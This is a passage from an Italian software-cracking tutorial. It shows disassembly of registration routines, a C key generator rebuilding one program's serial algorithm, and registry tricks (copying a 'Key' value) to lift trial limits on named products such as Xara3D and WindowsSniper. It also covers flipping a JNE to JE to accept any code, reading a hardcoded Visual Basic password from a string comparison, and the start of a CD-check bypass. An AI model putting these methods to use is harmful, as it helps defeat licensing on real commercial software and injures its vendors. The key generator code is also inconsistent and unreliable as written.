:0040A2FB 75E5          jne 0040A2E2

:0040A2FD 56            push esi     ; Username per upercase

* Reference To: USER32.CharUpperA, Ord:0000h
```

```
:0040A2FE E80F330000   Call User!CharUpper ; Qui il nome è maiuscolo
:0040A303 56           push esi

* Reference To: cw3220mt._strlen, Ord:0000h

:0040A304 E86F300000   Call 0040D378 ; Lunghezza del nome
:0040A309 59           pop ecx
:0040A30A 8BC8         mov ecx, eax  ; ECX = lunghezza
:0040A30C 83F904       cmp ecx, 00000004 ; LEN=4 (DEVE)
:0040A30F 7D05         jge 0040A316
:0040A311 83C8FF       or eax, FFFFFFFF
:0040A314 EB67         jmp 0040A37D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A30F(C)
|
:0040A316 33D2         xor edx, edx
:0040A318 33C0         xor eax, eax
:0040A31A 3BC8         cmp ecx, eax
:0040A31C 7E17         jle 0040A335
```

Qui inizia il codice importante.

```
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A333(C)
|
:0040A31E 0FBE1C06     movsx ebx, byte ptr [esi+eax] ; EBX= char in user name,
                                                     ; offset in EAX.
:0040A322 C1E303       shl ebx, 03  ; shl's char di 03h
:0040A325 0FBE3C06     movsx edi, byte ptr [esi+eax] ; EDI= Char in user name ,
                                                     ; offset in EAX.
:0040A329 0FAFF8       imul edi, eax     ; moltiplica char per offset dello user
                                         ; name
:0040A32C 03DF         add ebx, edi      ; Aggiunge il risultato a EBX
:0040A32E 03D3         add edx, ebx      ; EDX=EDX+EBX
:0040A330 40           inc eax           ; Incrementa EAX (prossimo char)
:0040A331 3BC8         cmp ecx, eax
:0040A333 7FE9         jg 0040A31E       ; Se ECX<EAX termina il loop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A31C(C)
|
:0040A335 A120674100   mov eax, dword ptr [00416720]
:0040A33A C1F803       sar eax, 03             ; Con SoftIce date '? EAX' (SN)
:0040A33D 03D0         add edx, eax            ; ADD il risultato loop al SN
:0040A33F 52           push edx

* Possible StringData Ref from Data Obj ->"%lx"
                                  |
:0040A340 685EF54000   push 0040F55E
:0040A345 8D95B0FEFFFF  lea edx, dword ptr [ebp+FFFFFEB0]
:0040A34B 52           push edx

* Reference To: USER32.wsprintfA, Ord:0000h
                                  |
:0040A34C E8E5320000   Call 0040D636                     ; HEX converter
:0040A351 83C40C       add esp, 0000000C
:0040A354 8D8DB0FEFFFF  lea ecx, dword ptr [ebp+FFFFFEB0]   ; In SI 'd ecx'
                                                         ; SERIAL NUMBER
:0040A35A 51           push ecx
```

Salto il resto del codice in quanto non ci interessa più visto che a questo punto abbiamo tutti i calcoli fatti per il SERIAL NUMBER.
A questo punto scriviamo i C le routine riproducenti i calcoli.

```
void main(void)
{
      long Key,SerialNum,EB,ED,digit;
      char I,x;
      char Name[50], tmp[20];
      printf(“Nominativo :”);
      gets(Name);
      strupr(Name);
      printf(“\nSerial Number: ”);
      gets(tmp);
      SerialNum = atol(tmp);
      Key=0;
      x=0;
      for(I=0;I!=strlen(Name);I++) {
            if(Name[I]!=' ') {
                  eb = Name[I] << 3;
                  ED = Name[I];
                  ED = ED*x;
                  ++x;
                  eb=eb+ed;
                  Key=Key+EB;
            }
      }
      Key=Key+(SerialNum << 3);
      printf(“\nSN = %x”, Key);
}
```

METODO STANDARD

Prima di tutto cerchiamo di avere una strategia di default da utilizzare in ogni caso.
Che cosa dobbiamo sapere ?
Se si tratta di programmi con routines di registrazione e limitazione a x giorni sicuramente dovrà scriversi delle informazioni da qualche parte.
Queste parti potrebbero essere :

a) Dentro allo stesso eseguibile
b) In un file esterno più o meno nascosto
c) Nel file di registro

Se i dati sono scritti internamente lo si può vedere in due modi e precisamente debuggando il codice o facendo una semplice prova.

regsnap
Registry Snapshot: Registry contains 61349 keys and 109349 values
FileList Snapshot for: C:\WINDOWS*.*; 661 files
FileList Snapshot for: C:\WINDOWS\SYSTEM*.*; 2037 files
Ini Snap for: win.ini; 69 keys, 1119 values
Ini Snap for: system.ini; 14 keys, 213 values
TextFile Snapshot for: c:\autoexec.bat
TextFile Snapshot for: c:\config.sys
OK

Esiste la possibilità che la routine usi la data di scrittura del file per verificare quanti giorni è stato attivo.
Per provare si può prendere una utility che abbia il touch dentro o si può scrivere un piccolo programmino che con un interrupt del Dos aggiorni la data del file.
Se la data è 12-12-1999 e il programma dice “Avete ancora 10 giorni”, potete fare il touch settando la

data a 11-12-1999 per vedere se l'avvertimento cambia.
E' difficile ma si parte subito scartando le ipotesi più semplici (Sapete il detto che il miglior nascondiglio è sotto gli occhi di tutti.)
Per vedere quanti file sono stati aggiunti dopo l'installazione potete usare due utilities.
Prima di vedere questi due programmi apro una parentesi generale sul come, disponendo di due OS (Win 98 e Win NT, Win 98 e Windows 2000 ecc.) è possibile osservare le modifiche fatte sul registro.
Chiaramente le installazioni devono essere fatte in due momenti distanti tra loro e non in modo consecutivo.
Cosa significa ?
Potrei installare un versione a 60 giorni s9otto Win 98 ed attendere che questa scada.
Successivamente potrei installare lo stesso software sotto Windows 2000 in modo tale che le informazioni del registro risultino nuove.
A questo punto la comparazione sarebbe tra i dati della versione scaduta e quelli della nuova installazione.
Io personalmente mi accerto dell'importanza delle informazioni nel registro giocando con l'installazione di due sistemi operativi sulla macchina che uso.
In pratica dispongo di Windows 98 e di Windows 2000 per cui eseguo l'installazione sotto il primo e poi provo anche ad attivare lo stesso software da sotto il secondo.
Spesso i crack che si trovano in giro, su Astalavista ad esempio, settano i dati di registrazione dentro al registro.

X3D

You have 15 days remaining of your demonstration period. If you would you like to purchase and unlock the program press 'Purchase'. If you are an existing owner and find you need a new unlock code press 'Purchase' to obtain a free new unlock code.

3D

Purchase Continue

Questi si vedono subito in quanto dopo averli sbloccati sotto il primo windows e dopo che questi funzionano normalmente, attivati sotto W2000 segnalano nuovamente il limite di xx giorni.
In questo caso per prima cosa cerco le differenze nelle voci chiare relative a questi software.
Un esempio pratico lo porto legato a Xara3D un programma che crea scritte 3D.
Il programma è stato originariamente installato sotto WIN 98 e successivamente richiamato da Windows 2000.
La prima volta che è stato lanciato Xara3D si è creato nel registro di WIN2000 le voci che le hanno permesso di essere trattato come un software demo con 15 giorni a disposizione.
Il seguente capture mostra una schermata di REGEDIT sotto windows 2000 nella quale sono visibili le voci create da XARA3D.

Name	Type	Data
(Default)	REG_SZ	(value not set)
Directory	REG_SZ	C:\Program Files\XARA\XARA3D3

Ora disattivo Windows 2000 e attivo Win 98 OS sotto il quale è stata eseguita l'installazione originale.

Nome	Dati
(Predefinito)	(valore non impostato)
Directory	"C:\PROGRAM FILES\XARA\XARA3D3"
Key	0x5a2c0157 (1512833367)

Gli stessi dati riportano i seguenti valori.

Risulta immediatamente evidente che sotto Windows 98 c'è una riga in più: KEY.
Vuoi mica che ….
Provo a prendere quella voce ed aggiungerla sotto Windows 2000.
La schermata di WIN2000 è quella in cui una colonna mostra il 'Type' del valore.
In poche parole tramite l'opzione NEW del menu ho inserito una DWORD uguale a quella mostrata nella schermata di REGEDIT sotto WIN 98.
Esiste un qualche cosa che ho camuffato per rendere inefficace la sprotezione al fine di non commettere un illecito.
In ogni caso il senso di tutto questo era per dire che spesso utilizziamo SofiIce, Wdasm e similia per debuggare un programma.
Nell'istante in cui, eseguendo una reversing engineering, riusciamo a trovare le chiavi spesso diventa superfluo andare a modificare il codice binario.
Modificare il codice binario diventa un reato.
Aggiungere una chiave in un registro esterna non significa toccare il software (chissà se regge come giustificazione … l'arrosto puzza di bruciato !)
Va beh! Mettiamola così.
Costa molto di meno come fatica aggiungere nel registro una chiave invece di andare a modificare il codice binario.
Ritorniamo al discorso interrotto relativo ai due programmi usati per eseguire un monitoraggio di sistema durante l'installazione di un programma.
REGSNAP esegue una panoramica al sistema dicendovi se sono state fatte aggiunte, cancellazioni o modifiche al file di registro, se è stato cambiato CONFIG.SYS e AUTOEXEC.BAT e se sono stati aggiunti, cancellati o modificati files sotto \WINDOWS o sotto \WINDOWS\SYSTEM.
REGSNAP inoltre controlla WIN.INI, SYSTEM.INI e dice anche se qualche files .INI è stato creato.
Nell'immagine in alto c'è la MessageBox mostrata da RegSnap dopo aver fatto il primo SnapShot al sistema in cui sono mostrati i dati generali legati a questa.
Cioè potete vedere viene riportato che nel registro ci sono 61.349 chiavi, 109.349 valori, in WIN.INI ci sono 69 chiavi ecc.
In primis facciamo una panoramica con REGSNAP che ci servirà a sapere che cosa è avvenuto nel registro.
Queste informazioni saranno quelle che tramite query eseguite con le funzioni API RegQueryValue ecc. saranno richieste dal programma all'attivazione.
Alcune voci, sicuramente anonime, probabilmente saranno quelle che permettono al software di sapere da quanti giorni è stato attivato.
SNAPPER è un altro programmino che esegue una panoramica su tutti i files dicendovi se dopo sono stati aggiunti, cancellati o modificati files in tutte le parti del sistema.
Nell'immagine a fianco potete vedere che con SNAPPER è possibile stabilire da quale DIR eseguire la panoramica e se si devono includere le sotto directory.
Se il disco è molto grosso può volerci un pò di tempo per eseguirla.

Nel mio caso per questi tipi di lavori uso il disco C: che è un unità da 3 Gbytes con su i software di sviluppo la quale contiene circa 6000 directories e 80.000 files.
Per tale disco ci mette circa 7 minuti su un Pentium a 450Mhz.
Se la panoramica la estendo a tutti e due i dischi saliamo a 12 Gbytes, 15.000 directories e 200.000 files con un tempo di circa 20 minuti buoni.
Se il tempo vi pare troppo potete saltare questa fase che è solo un di più in quanto questa serve solo nel caso in cui si vogliano controllare tutte le directories del sistema, cosa sicuramente inutile, visto che il programma, se dovesse aggiungere files, lo farebbe o nella sua directory, o in quella di WINDOWS o nella system di Windows.
Se scrive il file di controllo nella sua directory non potremmo solo osservandola capire quale è, e se lo facesse nella windows o windows\system ci penserebbe già RegSnap.
In ogni caso, se decidete di usare SNAPPER, la prima panoramica creerà una maschera di questo tipo nella quale vengono inseriti i dati di tutti i files trovati.
Questa maschera è quella che verrà usata per eseguire le funzioni permesse da snapper, che sono poi quelle mostrate dai tabulatori nella finestra.

Snapper

File Help

New | Open | Save As | Close | Compare | Print

Original SnapShot | Final SnapShot | Only in Original | Only in Final | Changed | Unchanged

Name	In Folder	Size	Modified	Attributes
Examples	BulletProof\JDesignerPro\Appl...	<dir>		
_ServerSide	BulletProof\JDesignerPro\Appl...	<dir>		
EntityExamples	BulletProof\JDesignerPro\Appl...	<dir>		
ClientPart	BulletProof\JDesignerPro\Appl...	<dir>		
ServerPart	BulletProof\JDesignerPro\Appl...	<dir>		
ReadDataIntoDB	BulletProof\JDesignerPro\Appl...	<dir>		
RMIExamples	BulletProof\JDesignerPro\Appl...	<dir>		
ClientPart	BulletProof\JDesignerPro\Appl...	<dir>		
SalesReportEmail	BulletProof\JDesignerPro\Appl...	<dir>		
ClientPart	BulletProof\JDesignerPro\Appl...	<dir>		
ServerPart	BulletProof\JDesignerPro\Appl...	<dir>		
SecurityValidation	BulletProof\JDesignerPro\Appl...	<dir>		
ClientPart	BulletProof\JDesignerPro\Appl...	<dir>		
ServerPart	BulletProof\JDesignerPro\Appl...	<dir>		
ServerPushExamples	BulletProof\JDesignerPro\Appl...	<dir>		
ClientPart	BulletProof\JDesignerPro\Appl...	<dir>		

C: 52553 items

Mediante un task manager o mediante NetBusD verificate che non vengano attivati dei processi concorrenti, magari nascosti.
NetBusDetector è una piccolissima utility che controlla il sistema ed avvisa tutte le volte che un processo sconosciuto nuovo viene attivato.
A questo punto abbiamo una panoramica dello stato del nostro sistema prima dell’installazione.
Ora attiviamo il nostro programma ed immediatamente dopo faciamo fare una comparazione a REGSNAP.
I dati risultanti possono essere presentati come file .TXT o come file .HTML.

```
Vitas' RegSnap - registry analyzing tool. (http://soft4you.com, vitas@soft4you.com)
>>> REGSNAP HAS NOT BEEN REGISTERED! PLEASE REGISTER!
** First snapshot **
  File name   : Regsnp3
```

```
  Snap time   : 30/08/1999 23:29:22
  PC/User name: FLAVIO/
  Comment     :

** Second snapshot **
  File name   : Regsnp4
  Snap time   : 30/08/1999 23:48:31
  PC/User name: FLAVIO/
  Comment     :


/////////////////// Registry report
Summary info:
Deleted  keys: 0
Modified keys: 11
New keys     : 12


*** Modified keys
  HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start
Menu\&Programs\Menu\Order
  HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU\19
  HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\19\CabView
  HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{5E6AB780-7743-
11CF-A12B-00AA004AE837}\Count\HRZR_PGYFRFFVBA
  HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-
11D0-9888-006097DEACF9}\Count\HRZR_PGYFRFFVBA
  HKEY_USERS\.DEFAULT\Software\Symantec\Norton Commander\NC\settings\Dialogs\IDC_2047
  HKEY_USERS\.DEFAULT\Software\Symantec\Norton Commander\NC\settings\Dialogs\IDC_2048
  HKEY_USERS\.DEFAULT\Software\Symantec\Norton Commander\NC\settings\Panel0\Ascending
  HKEY_USERS\.DEFAULT\Software\Symantec\Norton Commander\NC\settings\Panel0\CurrentSel
  HKEY_USERS\.DEFAULT\Software\Symantec\Norton Commander\NC\settings\Panel0\ObjectName
  HKEY_USERS\.DEFAULT\Software\Symantec\Norton Commander\NC\settings\Panel0\PanelSelection
--------------
Total positions: 11

*** New keys
  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\WindowsSniper\@
  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\WindowsSniper\Path
  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\WindowsSniper\DisplayName

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\WindowsSniper\UninstallString
  HKEY_LOCAL_MACHINE\Software\unHUman Software\WindowsSniper\EasterEgg1
  HKEY_LOCAL_MACHINE\Software\unHUman Software\WindowsSniper\FirstRunTime
  HKEY_LOCAL_MACHINE\Software\unHUman Software\WindowsSniper\Resolution
  HKEY_LOCAL_MACHINE\Software\unHUman Software\WindowsSniper\ShowLicense
  HKEY_LOCAL_MACHINE\Software\unHUman Software\WindowsSniper\XPosition
  HKEY_LOCAL_MACHINE\Software\unHUman Software\WindowsSniper\YPosition
  HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start
Menu\&Programs\GkSetup\Order
  HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start
Menu\&Programs\OrdiTouch 1.0\Order
--------------
Total positions: 12

/////////////////// File list in C:\WINDOWS\*.*
Summary info:
Deleted  files: 0
Modified files: 6
New files     : 1


*** Modified files
  POWERPNT.INI
  SYSTEM.DAT
  SYSTEM.INI
  USER.DAT
  WAVEMIX.INI
  WIN.INI
--------------
Total positions: 6

*** New files
  WindowsSniper.INI
--------------
Total positions: 1

/////////////////// File list in C:\WINDOWS\SYSTEM\*.*
```

```
Summary info:
Deleted  files: 0
Modified files: 0
New files     : 0


/////////////////// win.ini report
Summary info:
Deleted  keys: 0
Modified keys: 0
New keys     : 1


*** New keys
  WindowsSniper\Configuration
--------------
Total positions: 1

/////////////////// system.ini report
Summary info:
Deleted  keys: 0
Modified keys: 0
New keys     : 0


/////////////////// c:\autoexec.bat report
   unchanged

/////////////////// c:\config.sys report
   unchanged
```

Snapper

File Help

New | Open | Save As | Close | Compare | Print

Original SnapShot | Final SnapShot | Only in Original | Only in Final | Changed | Unchanged

Name	In Folder	Size	Modified	Attributes
WindowsSniper		<dir>		
Uninst.isu	WindowsSniper\	2	30/08/1999 23...	Arc
WINDOWSSNIPER.DAT	WindowsSniper\	12	30/08/1999 23...	Arc
WindowsSniper.exe	WindowsSniper\	263	03/05/1999 09...	Arc
WINDOWSSNIPER.HLP	WindowsSniper\	88	02/05/1999 14...	Arc

In C:\Programmi but not in C:\Programmi | 5 items

Dalle analisi fatte con REGSNAP E SNAPPER risultano un certo numero di chiavi nel registro modificate e altre aggiunte nuove.
L'analisi di SNAPPER indica che i files invece riguardano soltanto quelli effettivamente presenti nella directory del programma.
RegSnap però ci mostra che nella directory windows sono stati modificati dei files ed è stato aggiunto un file .ini con il nome del programma.

Ci tengo a far notare che alcuni programmi relativi alla gestione del registro non funzionano sotto Windows 2000 anche se di fatto è ancora prematuro parlare di programmi per questo ambiente.
Guardando le chiavi modificate si capisce che non centrano con il programma ma che sicuramente sono relative a programmi che erano attivi in quell'istante e che hanno aggiornato delle loro informazioni.
Nell'esempio si vede chiaramente delle modifiche fatte alla voce di Symantec/NC che sarebbe Norton Commander, un programma che uso regolarmente al posto del File Manager di Windows.
A questo dobbiamo solo vedere se ci conviene utilizare SoftIce o Wdasm.
Personalmente quando è possibile usarlo preferisco WDASM in quanto gran parte delle funzioni sono dentro a finestre con pulsanti ed inoltra dispone di un ottima gamma di informazioni mostrate automaticamente.
Caricato sotto WDASM il programma in questione ci mostra un infinità di punti idonei a cercare certe routines.
Se prendiamo in esame soltanto le funzioni importate ci accorgiamo che esiste un grosso numero di funzioni legate alla gestione del registro.
La seguente immagine mostra le informazioni legate appunto a tale tipo di gestione.

```
ADVAPI32.RegCloseKey
ADVAPI32.RegConnectRegistryA
ADVAPI32.RegCreateKeyExA
ADVAPI32.RegDeleteKeyA
ADVAPI32.RegDeleteValueA
ADVAPI32.RegEnumKeyExA
ADVAPI32.RegEnumValueA
ADVAPI32.RegFlushKey
ADVAPI32.RegGetKeySecurity
ADVAPI32.RegLoadKeyA
ADVAPI32.RegNotifyChangeKeyValue
ADVAPI32.RegOpenKeyExA
ADVAPI32.RegQueryInfoKeyA
ADVAPI32.RegQueryValueExA
ADVAPI32.RegReplaceKeyA
ADVAPI32.RegRestoreKeyA
ADVAPI32.RegSaveKeyA
```

Anche richiedendo la String Table vengono mostrate voci che potrebbero essere utili per identificare certe routines.

```
String Resource ID=00001: "You must agree to the license before you can use Windows Sni"
String Resource ID=00002: "SOFTWARE\unHUman Software\WindowsSniper"
String Resource ID=00003: "This copy of Windows Sniper has already been registered.You"
String Resource ID=00004: "The 30 day trial of Windows Sniper has expired."
String Resource ID=00005: "Windows Sniper trial expires in %d days."
String Resource ID=00006: "FATAL ERROR: System Problem."
String Resource ID=00007: "Thank you for registering Windows Sniper. You are now entit"
String Resource ID=00008: "Invalid License Information has been entered.  Please try ag"
String Resource ID=00009: "The 30 day trial of Windows Sniper has expired. Windows Sni"
String Resource ID=57344: "Windows Sniper"
String Resource ID=61446: "an unnamed file"
String Resource ID=61472: "No error message is available."
String Resource ID=61473: "An unsupported operation was attempted."
String Resource ID=61474: "A required resource was unavailable."
String Resource ID=61475: "Out of memory."
String Resource ID=61476: "An unknown error has occurred."
String Resource ID=61703: "Failed to launch help."
```

Vi ricordo che in WDASM basta fare CLICK su una voce per posizionarsi sulla parte di codice che la utilizza.
In questo caso vengono mostrate anche voci di menu che potrebbero aiutare.

```
Menu: MenuID_0086
Menu: MenuID_0086, Item: "License"
```

```
Menu: MenuID_0086, Item: "Register"
Menu: MenuID_008B
Menu: MenuID_008B
```

I dati precedenti si ottengono premendo il ulsante Menu Ref.
Un punto buono rimane comunque quello fornito dalla MessageBoxA che viene utilizzato per avvertire che il codice inserito è errato.
Voglio ricordarvi che la differenza tra MessageBox e MessageBoxA è data dal fatto che la seconda è una funzione a 32 bits.

ESEMPIO 3

Questa volta prenderemo in esame un programma al quale possono essere adottate due soluzioni.
La prima, la più complessa, è quella di trovare l'algoritmo del codici da inserire.
La seconda soluzione permette deviando il flusso, modificando un solo salto, di registrare il software in automatico.
Si carica il software con WDASM e si cerca di individuare le routines di lettura del codice.
In questo caso il programma è scritto in C e quindi sicuramente viene usata una GetDlgItemTextA.
La ricerca risulta subito fruttuosa in quanto vengono trovate un certo numero di chiamate.
Tre in particolare sono quelle che interessano.
Infatti il programma richiede tre campi.

```
* Reference To: USER32.GetDlgItemTextA, Ord:00F5h
                                  |
:0040F1CE 8B2D68374300            mov ebp, dword ptr [00433768]
:0040F1D4 6A65                    push 00000065
:0040F1D6 8D5E32                  lea ebx, dword ptr [esi+32]
:0040F1D9 57                      push edi
:0040F1DA FFD5                    call ebp
```

Dopo questa call è stato letto il nome

```
:0040F1DC 6A32                    push 00000032
:0040F1DE 53                      push ebx
:0040F1DF 6A66                    push 00000066
:0040F1E1 57                      push edi
:0040F1E2 FFD5                    call ebp
```

Dopo questa il company

```
:0040F1E4 8D442410                lea eax, dword ptr [esp+10]
:0040F1E8 6800010000              push 00000100
:0040F1ED 50                      push eax

* Possible Ref to Menu: MenuID_03E8, Item: "Properties"
                                  |
```

```
* Possible Reference to String Resource ID=00103: "Show information about the
currently selected process"
                                  |
:0040F1EE 6A67                    push 00000067
:0040F1F0 57                      push edi
:0040F1F1 FFD5                    call ebp
```

Infine questa chiamata legge il codice

```
:0040F1F3 8D442410                lea eax, dword ptr [esp+10]
:0040F1F7 50                      push eax
```

Se controllate eax vedrete che contiene il codice che avete specificato.
A questo punto viene chiamata le routine che esegue la preparazione del codice.
In questo esempio non ci interesseremo della routine se non alla fine per mostrare, o meglio suggerire, un metodo per il trace.

```
:0040F1F8 E8A3830000              call 004175A0
:0040F1FD 83C404                  add esp, 00000004
:0040F200 8BE8                    mov ebp, eax
:0040F202 56                      push esi
:0040F203 E818710000              call 00416320
:0040F208 83C404                  add esp, 00000004
```

In questo punto avviene il vero controllo.
Per registrare con un codice errato sarà sufficiente cambiare il salto JNE in JE.

```
:0040F20B 3D92A71901              cmp eax, 0119A792
:0040F210 7518                    jne 0040F22A
```

Riporto un esempio di routine in cui si cerca di capire come è stato composto il codice.
Non cercate di seguirlo visto che il suo unico scopo è quello di dare un idea sul come segnarvi il codice man mano che lo seguite.
Quando eseguite il trace di un codice per cercare di capire che cosa fa, lasciate aperto il notepad e man mano che andate avanti copiateci dentro il codice, i registri e lo stato dello stack.
Vi aiuterà a tracciare il tutto.
Ricordatevi che WDASM possiede vicino ad ogni finestra un pulsante COPY che vi permette di copiare il testo specifico di quella window.
Date un occhiata a quanto segue anche se di fatto si tratta solo della prima parte in quanto sarebbe inutile riportarlo tutto.

```
:0042DC5E 680B060000              push 0000060B
:0042DC63 57                      push edi
:0042DC64 E8576D0600              call 004949C0
:0042DC69 83C664                  add esi, 00000064
:0042DC6C 56                      push esi

* Possible Reference to Dialog: DialogID_01AD, CONTROL_ID:03E9, ""
                                  |
:0042DC6D 68E9030000              push 000003E9
:0042DC72 57                      push edi
:0042DC73 E8486D0600              call 004949C0 --------+
:0042DC78 5F                      pop edi               |
:0042DC79 5E                      pop esi               |
:0042DC7A C20400                  ret 0004              |
    +---------------------------------------------------+
    |
```

```
    V
:004949C0 55                     push ebp
:004949C1 8BEC                   mov ebp, esp
:004949C3 56                     push esi
:004949C4 57                     push edi
:004949C5 8B7D08                 mov edi, dword ptr [ebp+08]
:004949C8 FF750C                 push [ebp+0C]
:004949CB 8BCF                   mov ecx, edi
:004949CD E82FFEFFFF             call 00494801
:004949D2 833F00                 cmp dword ptr [edi], 00000000
:004949D5 8BF0                   mov esi, eax
:004949D7 7428                   je 00494A01
:004949D9 56                     push esi

* Reference To: USER32.GetWindowTextLengthA, Ord:0140h
                                 |
:004949DA FF15F4564B00           Call dword ptr [004B56F4]
:004949E0 8D4801                 lea ecx, dword ptr [eax+01]
:004949E3 51                     push ecx
:004949E4 8B4D10                 mov ecx, dword ptr [ebp+10]
:004949E7 50                     push eax
:004949E8 E8469DFFFF             call 0048E733
:004949ED 50                     push eax
:004949EE 56                     push esi

* Reference To: USER32.GetWindowTextA, Ord:013Fh
    |
    |
    |   BREAKPOINT ON GETWINDOWTEXTA !!!
    V
BP*:004949EF call USER32.GetWindowTextA
   :004949F5 mov ecx, dword ptr [ebp+10]
                             Address: 01ABD7FC is Not in a Loaded Module.
                             char[010]:"9999999999"
                             DWORD:39393939, WORD:3939, BYTE:39
   :004949F8 push FFFFFFFF ----------------------------------------------+
   :004949FA call ECPRO.0048E70B                                        |
                         |                                              |
        +----------------+                                              |
        V                                                               |
-------------ALTRA FUNZIONE
   :0048E70B push esi                                                   |
   :0048E70C mov esi, ecx                                               |
   :0048E70E call ECPRO.0048E275                                        |
BP*:0048E713 mov eax, dword ptr [esp+08]  <----------------------------- +
                             [esp+00000000] - 00000430  0...    |
                             [esp+00000004] - 004949ff  .II.    |
                             [esp+00000008] - ffffffff  .... <--+
                                                            ^
   :0048E717 cmp eax, FFFFFFFF <-------------YES------------+
   :0048E71A jne 0048E724
   :0048E71C push dword ptr [esi]
                             [esi+00000000] - 01abd7fc  ....
                                                             |
                                  Address: 01ABD7FC
                                  char[010]:"9999999999"
                                  DWORD:39393939, WORD:3939, BYTE:39
   :0048E71E call KERNEL32.lstrlen
                             API int Arg00 = lstrlen(Arg01)
                             API Address=0048E71E, API Return Address=0048E724
                           +--     Arg01 = (LPTSTR) 01abd7fc -> "9999999999"
                            CALL  |
```

```
                             +->     RESULT for API lstrlen
                               Arg00 = (int) 0000000a  (10 == LEN di 9999999999)
   :0048E724 mov ecx, dword ptr [esi]
                               [ecx+00000000] - 39393939  9999
                               [ecx+00000004] - 39393939  9999
                               [ecx+00000008] - 00003939  99..
   :0048E726 mov dword ptr [ecx-08], eax
                               eax=0000000a
                               [ecx-00000008] - 0000000a  ....
                               [ecx-00000004] - 0000000a  ....
                               [ecx+00000000] - 39393939  9999
                               [ecx+00000004] - 39393939  9999
                               [ecx+00000008] - 00003939  99..
   :0048E729 mov ecx, dword ptr [esi]
   :0048E72B 5E                      pop esi
   :0048E72C 80240800                and byte ptr [eax+ecx], 00
   :0048E730 C20400                  ret 0004
------------RITORNO A CHIAMANTE
      |
      | RETURN
      V
BP*:004949FF jmp ECPRO.00494A0C ---------------------+
   :00494A01 mov eax, dword ptr [ebp+10]             |
   :00494A04 push dword ptr [eax]                    |
   :00494A06 push esi                                | JUMP
   :00494A07 call ECPRO.00492EEF                     |
   :00494A0C pop edi  <------------------------------+
   :00494A0D pop esi
   :00494A0E pop ebp
   :00494A0F ret 000C
                        STATUS PRIMA DEL RETURN DEI REGISTRI
                        -------------------------------------
                        EIP=00494A0F eax=0000000a ebx=00000001
                        ecx=01abd7fc edx=80008d50 esi=0082f964
                        edi=0082f3f0 EBP=0082F41C ESP=0082F3C0

                        STATUS STACK                       STATUS ECX

                        [esp+00000000] - 0042dc78  x.B.          [ecx+00000000]
- 39393939  9999
                        [esp+00000004] - 0082f3f0  ....          [ecx+00000000]
- 39393939  9999
                        [esp+00000008] - 000003e9  ....          [ecx+00000008]
- 00003939  99..
                        [esp+0000000C] - 0082f964  d...
                        [esp+00000010] - 0070050c  ..p.
                        [esp+00000014] - 0082f900  ....
```

ESEMPIO CON MACCHINA VIRTUALE VISUAL BASIC

In molti punti di questo volume si è trattato l’argomento relativo ai programmi che utilizzano la libreria di run time di Visual Basic 6.0.
In questo caso i breakpoint dovrebbero essere settati sulle funzioni di questa.
Come è stato detto alla fine del tutto anche questa libreria si aggancia alle funzioni di user32.dll ecc. per cui nella peggire delle ipotesi si potrebbero importare queste dll e settare i breakpoint sulle sue funzioni, ma sicuramente questo complicherebbe la vita.
Spesso si cercano subito le ipotesi più complicate scartando quelle più ovvie e questo molte volte è un errore.

VB 6.0 possiede funzioni per il trattamento, compresa la comparazione, di stringhe.
Questo per dire che inizialmente si potrebbe tentare di piazzare breakpoint su queste.
Il seguente esempio mostra un caso che è possibile risolvere cercando queste funzioni di comparazione.
Caricato il programma con WDASM si cercano le funzioni di comparazione stringhe in prossimità a qualche funzione che serve all'input del valore.
Cerchiamo

MSVBVM60.rtcInputBox

Esiste in due punti ma vicino al primo esiste anche una chiamata ad una funzione di comparazione stringhe.

```
* Reference To: MSVBVM60.rtcInputBox, Ord:0254h
                                  |
:00446FC1 FF15D0104000            Call dword ptr [004010D0]
:00446FC7 8BD0                    mov edx, eax
:00446FC9 8D4DE8                  lea ecx, dword ptr [ebp-18]

* Reference To: MSVBVM60.__vbaStrMove, Ord:0000h
                                  |
:00446FCC FF15B8124000            Call dword ptr [004012B8]

...................

* Reference To: MSVBVM60.__vbaStrCmp, Ord:0000h
                                  |
:00447008 8B3544114000            mov esi, dword ptr [00401144]
:0044700E 83C420                  add esp, 00000020
:00447011 51                      push ecx
:00447012 6840284100              push 00412840
:00447017 FFD6                    call esi  ; QUESTA E' LA CHIAMATA a vbaStrCmp
:00447019 85C0                    test eax, eax
:0044701B 0F8462040000            je 00447483
```

Le due stringhe da comparare sono piazzate nello stack prima della chiamata.
Andando ad analizzare ESP+20 (add esp, 0000020) troviamo le stringa che abbiamo inserito come password.
00412840 è l'indirizzo della seconda stringa da comparare.
In WDASM esistono UA1 e UA2 che permettono di specificare degli indirizzi utente.
Specificando questo indirizzo e guardando nell'apposita finestrlla il valore puntato vediamo :

```
Address: 00412840 is in Module: xxxxxxxx.EXE
char[000]:"86911260"
```

Senza andare a creare patch riavviamo il programma e proviamo a specificare come password il

```
86911260
```

Miracle ! Era proprio lei (o lui ... il codice).
Questo è un caso in cui se fossimo andati a cercare altro avremmo solo perso tempo.

ESEMPIO CON I GIOCHI BASATI SULLA PRESENZA CD

I TOOLS necessari sono SoftIce 3.24 e HIEW 5.92.
Il gioco in questione possiede una protezione cd check ovvero quel tipo che va a vedere se il CD è inserito correttamente ogni volta che viene lanciato.
Prima di inziare ad usare SoftIce è necessario fare qualche modifica a WINICE.DAT.
Cancelliamo i REM davanti alle EXP relative a USER32, GDI32, KERNEL32.
A questo punto SoftIce importerà le funzioni di queste DLL.
